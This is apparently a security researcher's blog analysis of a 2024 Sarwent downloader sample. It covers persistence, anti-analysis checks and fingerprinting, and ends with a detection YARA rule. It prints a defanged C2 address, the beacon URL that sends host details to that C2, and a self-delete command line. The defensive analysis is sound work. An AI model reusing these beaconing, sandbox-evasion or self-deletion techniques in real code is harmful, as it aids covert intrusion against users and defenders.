A few days ago, I saw a tweet from malware C2 hunter Viriback (kudos for all your great work) mentioning the Sarwent loader. This malware appeared at least in 2018 and was notably used in a campaign reported by Talos using Amnesty International as lure in 2021.

Since I had never worked on this malware before, I decided to dedicate some time to studying it. This is not an in-depth analysis, I just aim to cover some of the principal features of the malware. Since I am quite rusty when it comes to reverse engineering, there are probably some mistakes, and constructive criticism is very welcome.

While it was not possible anymore to download the malware directly from faumai[.]ru, I was able to download it directly from the public platform any.run.

Initial static analysis

Sarwent (Sha1: bc647a5b99428ca2e01c1172174f7e4da2de0f5d) is a 32bits executable. This sample was allegedly compiled the 16 of April 2024. It is worth noting that the malware is not anymore developed in Delphi.

Caption: Static analysis using Detect it Easy

To my knowledge, this sample does not leverage any obfuscation technique making it quite easy to analyze.

Caption: The present malware is not packed

Static analysis using PE Studio reveals an interesting PdB path which could maybe be used to create a Yara rule.

Caption: PDB path mentioned in the sample studied.

Code analysis

Since I had no access for some time to IDA free decompiler at time of writing, I mostly used the dissassembler in the present analysis.

Once executed, Sarwent create a Mutex (NnhqndT7TRPSJtt) using the function CreateMutexA, probably to avoid infecting several time the same host.

Caption: Mutex creation

Persistence

For persistence purpose (T1547.001), the malware creates a registry key in HKEY_CURRENT_USER, which typically allows non-administrative users to create and modify subkeys.

Caption: AmdSoft Update is used as the name of the value in the registry key.

Anti-analysis

While it is not obfuscated in any way, the present sample uses several anti-analysis techniques. For example, it searches Windows registry for keys related to known virtualization tools such as VmWare or VirtualBox (T1497).

Caption: Sarwent search for keys related to Vmware or VirtualBox

The malware also uses CreateToolhelp32Snapshot to enumerate running processes and then checks if the security analysis tools mentioned below are currently running in the system.

Caption: checking if common security tools are running on the host.

Moreover, the malware checks if it is currently debugged using CheckRemoteDebuggerPresent.

Caption: call to CheckRemoteDebuggerPresent API

The malware also checks for traces of the sandboxing tool Sandboxie by checking for the presence of one of the DLLs it uses, SbieDll.dll.

Last but not least, the malware invokes the native Windows API function, VirtualAllocExNuma. I believe the malware uses this to check for emulation, as this API function is not properly emulated by sandboxes. I am not completely sure about this, though.

As shown in this section, Sarwent implements several anti-analysis techniques. However, unlike other known samples of Sarwent, this one does not contain any antivirus strings.

Caption: Overview of the anti analysis techniques leveraged by Sarwent

Fingerprinting features

The malware then proceed to fingerprint the machine it is running on:

Caption: fingerprinting function of Sarwent

During its fingerprinting phase, the malware collects the version of Windows, if it is a 32 or 64 bits version and if it was executed with admin privilege.

To determine if the Windows version is 32 or 64 bits, the malware invokes GetSystemWow64DirectoryA. Indeed, per to Microsoft documentation, this API is used to retrieves “the path of the system directory used by WOW64”. Moreover, “This directory is not present on 32-bit Windows”. Sarwent therefore has just to check if an error occurred to determine the OS version it is running on.

Caption: Sarwent invokes GetSystemWow64DirectoryA to determine if Windows is running in a 32-bit or 64-bit version.

To determine if it is being executed with administrative rights, the malware then attempts to create a registry key in Software\\Microsoft.

Caption: Overview of how the malware checks if it was executed with admin rights.

Indeed, a standard user cannot create a key at this location. If a key can be created, it indicates that the program is running with administrative privileges. If necessary, the key is then deleted.

C2 communication

Once collected, these information are then send to the command and control (C2) server of the malware.

The IPv4 address of the C2, 81.19.141[.]173, is hard-coded in the malware.

As shown in the screenshot above, the information collected by the malware during its fingerprinting phase is then sent to the C2 server via a specifically crafted URL. For example, when it was executed on Any.run’s sandbox, the malware crafted the following URL:

http://81.19.141[.]173/gate/connect?hwid=C8E205AB982B724249387&os=Windows%207%20Professional&bits=x32&admin=0

parameters	information
hwid	Hardware ID of the machine
os	Operating system
bits	Architecture of the OS
admin	Was it executed with admin privilege (1) or not (0)

This communication pattern is similar to those used by other known sample of Sarwent (See here, here and here). It is worth noting that the malware still uses the HTTP protocol.

More precisely, here is a description of the function used to contact the C2 server and retrieve data.

Caption: Overview of the function responsible for connecting to the C2 server and retrieving data.

Commands

When it comes to capabilities, the present sample is rather limited. While SentinelOne revealed in 2020 that Sarwent can have RDP, Powershell and cmd capabilities, the present sample can receive only three command: download, update, delete.

Caption: Download, update and delete are the only three command that can be executed by Sarwent.

If the malware receive the command “delete”, it proceeds to delete the initial file and report back to the C2.

Capture: function responsible for deleting the malware.

The malware then uses the following command to delete the aforementioned file:

cmd.exe /c ping localhost & del /q \"");

The download command is used to download remote data, create a file, and execute it.

Caption:Decompiled code is likely clearer. Here is the part of the function dedicated to downloading a file from the C2 server, executing it and reporting it back to the C2 (1=success, 0= failure).

Nota: Since it is used to download files, Sarwent should be qualified as a downloader rather than a loader.

Infrastructure analysis

The C2 panel of the present sample is exposed on port 80.

Caption: Logo and title of the HTTP panel page of the sample analyzed in this blog post.

It is worth noting that the logo and the title of the HTTP panel page are similar to the one discovered by Talos in 2020.

Caption: C2 panel of a Sarwent malware in 2020 (source: Talos)

Conclusion:

It has been really fun to reverse the present sample of Sarwent. What can be drawn from this analysis is that:

• the malware seems to have been rewritten in C/C++ (and not Delphi anymore)
• the communication pattern is similar to those of past samples
• It leverages several anti-analysis techniques, checking for sandboxing, virtualization, and several security tools
• the sample was not obfuscated in any way
• Sarwent is probably more of a downloader than a loader.

YARA

rule Sarwent_2024
{
    meta:
        description = "Rule to detect new version of Sarwent Downloader"

    strings:
        $1 = "http://%s/gate/connect?hwid=%s&os=%s&bits=%s&admin=%s"
        $2 = "C:\load++ client\Release\load.pdb"

    condition:
        all of them
}